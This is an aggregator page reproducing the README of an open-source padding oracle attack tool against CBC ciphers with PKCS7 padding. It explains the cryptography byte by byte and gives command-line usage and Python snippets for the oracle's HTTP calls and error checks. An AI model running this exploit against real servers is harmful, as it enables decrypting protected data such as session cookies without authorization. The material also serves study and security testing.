All Projects → mpgn → Padding Oracle Attack

mpgn / Padding Oracle Attack

Licence: mit
🔓 Padding oracle attack against PKCS7 🔓

Programming Languages

python
139335 projects - #7 most used programming language

Projects that are alternatives of or similar to Padding Oracle Attack

Pax
💀 🔓 CLI tool for PKCS7 padding oracle attacks
Stars: ✭ 90 (-56.94%)
Mutual labels:  oracle, attack
Camerattack
An attack tool designed to remotely disable CCTV camera streams (like in spy movies)
Stars: ✭ 192 (-8.13%)
Mutual labels:  attack
Diffai
A certifiable defense against adversarial examples by training neural networks to be provably robust
Stars: ✭ 171 (-18.18%)
Mutual labels:  attack
Snmpwn
An SNMPv3 User Enumerator and Attack tool
Stars: ✭ 183 (-12.44%)
Mutual labels:  attack
Qxorm
QxOrm library - C++ Qt ORM (Object Relational Mapping) and ODM (Object Document Mapper) library - Official repository
Stars: ✭ 176 (-15.79%)
Mutual labels:  oracle
Sqitch
Sensible database change management
Stars: ✭ 2,320 (+1010.05%)
Mutual labels:  oracle
Rom Sql
SQL support for rom-rb
Stars: ✭ 169 (-19.14%)
Mutual labels:  oracle
Aioodbc
aioodbc - is a library for accessing a ODBC databases from the asyncio
Stars: ✭ 206 (-1.44%)
Mutual labels:  oracle
Obevo
Obevo is a database deployment tool that handles enterprise scale schemas and complexity
Stars: ✭ 192 (-8.13%)
Mutual labels:  oracle
Attack Defense Framework
🚩 A framework for CTF Attack with Defense Mode
Stars: ✭ 183 (-12.44%)
Mutual labels:  attack
Centos2ol
Script and documentation to switch CentOS Linux to Oracle Linux
Stars: ✭ 181 (-13.4%)
Mutual labels:  oracle
Universaljavaapplicationstub
universalJavaApplicationStub - an alternative Application launcher script for Java based macOS Apps that works with both Apple's and Oracle's PList format and supports the old Apple Java 6 as well as all the latest Oracle/OpenJDK/Adopt/Corretto JRE's/JDK's. Plus it supports drag&drop to the Dock icon 🎉
Stars: ✭ 174 (-16.75%)
Mutual labels:  oracle
Sharding Method
分表分库的新思路——服务层Sharding框架,全SQL、全数据库兼容,ACID特性与原生数据库一致,能实现RR级别读写分离,无SQL解析性能更高
Stars: ✭ 188 (-10.05%)
Mutual labels:  oracle
Killchain
A unified console to perform the "kill chain" stages of attacks.
Stars: ✭ 172 (-17.7%)
Mutual labels:  attack
Hiddeneye Legacy
Modern Phishing Tool With Advanced Functionality And Multiple Tunnelling Services [ Android-Support-Available ]
Stars: ✭ 2,568 (+1128.71%)
Mutual labels:  attack
Linq2db
Linq to database provider.
Stars: ✭ 2,211 (+957.89%)
Mutual labels:  oracle
Bkcrack
Crack legacy zip encryption with Biham and Kocher's known plaintext attack.
Stars: ✭ 178 (-14.83%)
Mutual labels:  attack
Linux Uek
Oracle Linux UEK: Unbreakable Enterprise Kernel
Stars: ✭ 185 (-11.48%)
Mutual labels:  oracle
Oracledb exporter
Prometheus Oracle database exporter.
Stars: ✭ 209 (+0%)
Mutual labels:  oracle
Koolreport
This is an Open Source PHP Reporting Framework which you can use to write perfect data reports or to construct awesome dashboards using PHP
Stars: ✭ 204 (-2.39%)
Mutual labels:  oracle

Padding Oracle Attack

An exploit for the Padding Oracle Attack. Tested against ASP.NET, works like a charm. The CBC mode must use PKCS7 for the padding block. This is an implementation of this great article Padding Oracle Attack. Since the article is not very well formated and maybe unclear, I made an explanation in the readme. I advise you to read it if you want to understand the basics of the attack. This exploit allows block sizes of 8 or 16. This means it can be used if the cipher uses AES or DES. You can find instructions to launch the attack here.

I also made a test file test.py, you don't need a target to use it :)

Explanation

I will explain in this part the cryptography behind the attack. To follow this you need to understand the CBC mode cipher chainning or video link and the operator ⊕. This attack is also a chosen-ciphertext attack.

Encryption Decryption
Ci = Ek(Pi ⊕ Ci-1), and C0 = IV Pi = Dk(Ci) ⊕ Ci-1, and C0 = IV

In CBC mode we also need a padding in the case the length of the plaintext doesn't fill all the block. For example we can have this plaintext and the following padding if the length of the block is 8 :

S|E|C|R|E|T| |M|E|S|S|A|G|E|02|02

You can notice the length of SECRET MESSAGE is 14 so we need to fill two blocks of CBC equal 16. There are two bytes left, this is where the padding step in. You can see the two last byte 0202. Another example, if the padding had a length of 5, it will be fill with 05|05|05|05|05. Of course there is different way to fill the padding but in our case like most of the case the standard is PKCS7 for the padding block.

If the padding does not match the PKCS7 standard it will produce an error. Example :

S|E|C|R|E|T| |M|E|S|S|A|G|E|03|03

When the block will be deciphered there will be a verification to check if the padding is good or not :

S|E|C|R|E|T| |M|E|S|S|A|G|E|03|03 => Wrong padding
S|E|C|R|E|T| |M|E|S|S|A|G|E|02|02 => Good padding

Now imagine we can know when we have a bad padding and a good padding (the server send an "error padding" or "404 not found" when the padding is wrong etc). We will call this our Oracle. The answers he will give us will be :

  • good padding
  • bad padding

Now we know that, we can construct a block to retrieve one byte of the plaintext, don't forget this is a chosen-ciphertext attack. An attacker will intercept a cipher text and retrieve byte by byte the plaintext.

  • intercepted cipher : C0 | C... | Ci-1 | Ci
  • then build a block like this :

C'i-1 = Ci-1 ⊕ 00000001 ⊕ 0000000X | Ci

Where X is a char between chr(0-256).

  • then he sends C'i-1 | Ci to the oracle. The oracle will decrypt like this :

Dk(Ci) ⊕ C'i-1
= Dk(Ci) ⊕ Ci-1 ⊕ 00000001 ⊕ 0000000X
= Pi ⊕ 00000001 ⊕ 0000000X

Now there is two possibilities: a padding error or not :

  • if we have a padding error :
If P'i ⊕ 0000000Y == abcdefg5 then:
    abcdefg0 ⊕ 00000001 = abcdefg5

This is a wrong padding, so we can deduce the byte Y is wrong.

  • The oracle didn't give us a padding error and we know the byte X is good :
If Pi ⊕ 0000000X == abcdefg0 then:
    abcdefg0 ⊕ 00000001 = abcdefg1

For the second byte :

C'i-1 = Ci-1 ⊕ 00000022 ⊕ 000000YX | Ci

And then :

Dk(Ci) ⊕ C'i-1
= Dk(Ci) ⊕ Ci-1 ⊕ 00000022 ⊕ 000000YX
= Pi ⊕ 00000001 ⊕ 00000YX

  • The oracle didn't give us a padding error and we know the byte X is good :
If Pi ⊕ 000000YX == abcdef00 then:
    abcdef00 ⊕ 00000022 = abcdef22

etc etc for all the block. You can now launch the python script by reading the next section :)

Protection

Options

The test file if you don't have target :

python test.py -m mysecretmessage

The exploit :

usage: exploit.py [-h] -c CIPHER -l LENGTH_BLOCK_CIPHER --host HOST -u
                  URLTARGET --error ERROR [--cookie COOKIE]
                  [--method METHOD] [--post POST] [-v]

Details required options:

-h help
-c cipher chain
-l length of a block example: 8 or 16
-u UrlTarget for example: ?/page=
--host hostname example: google.fr
--error Error that the oracle gives you for a wrong padding
    example: with HTTP method: 200,400,500
             with DOM HTML   : "<h2>Padding Error</h2>"

Optional options:

--cookie Cookie parameter example: PHPSESSID=9nnvje7p90b507shfmb94d7
--method Default GET method but can set POST etc
--post POST parameter if you need example 'user':'value', 'pass':'value'

Example:

python exploit.py -c E3B3D1120F999F4CEF945BA8B9326D7C3C8A8B02178E59AF506666542AB5EF44 -l 16 --host host.com -u /index.aspx?c= -v --error "Padding Error"

Customisation

I wan to customize the Oracle !

Example with sockets https://gist.github.com/mpgn/fce3c3f2aaa2eeb8fac5

No problem, find these line and do what you have to do :)

  • Custom oracle response:
#######################################
# CUSTOMIZE YOUR RESPONSE ORACLE HERE #
#######################################
''' The function you want change to adapt the result to your problem '''
def test_validity(response,error):
    try:
        value = int(error)
        if int(response.status) == value:
            return 1
    except ValueError:
        pass  # it was a string, not an int.

    # oracle repsonse with data in the DOM
    data = response.read()
    if data.find(error) == -1:
        return 1
    return 0
  • Custom oracle call (HTTP)
###################################
# CUSTOMIZE YOUR ORACLE HTTP HERE #
###################################
def call_oracle(host,cookie,url,post,method,up_cipher):
    if post:
        params = urllib.urlencode({post})
    else:
        params = urllib.urlencode({})
    headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain", 'Cookie': cookie}
    conn = httplib.HTTPConnection(host)
    conn.request(method, url + up_cipher, params, headers)
    response = conn.getresponse()
    return conn, response
Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].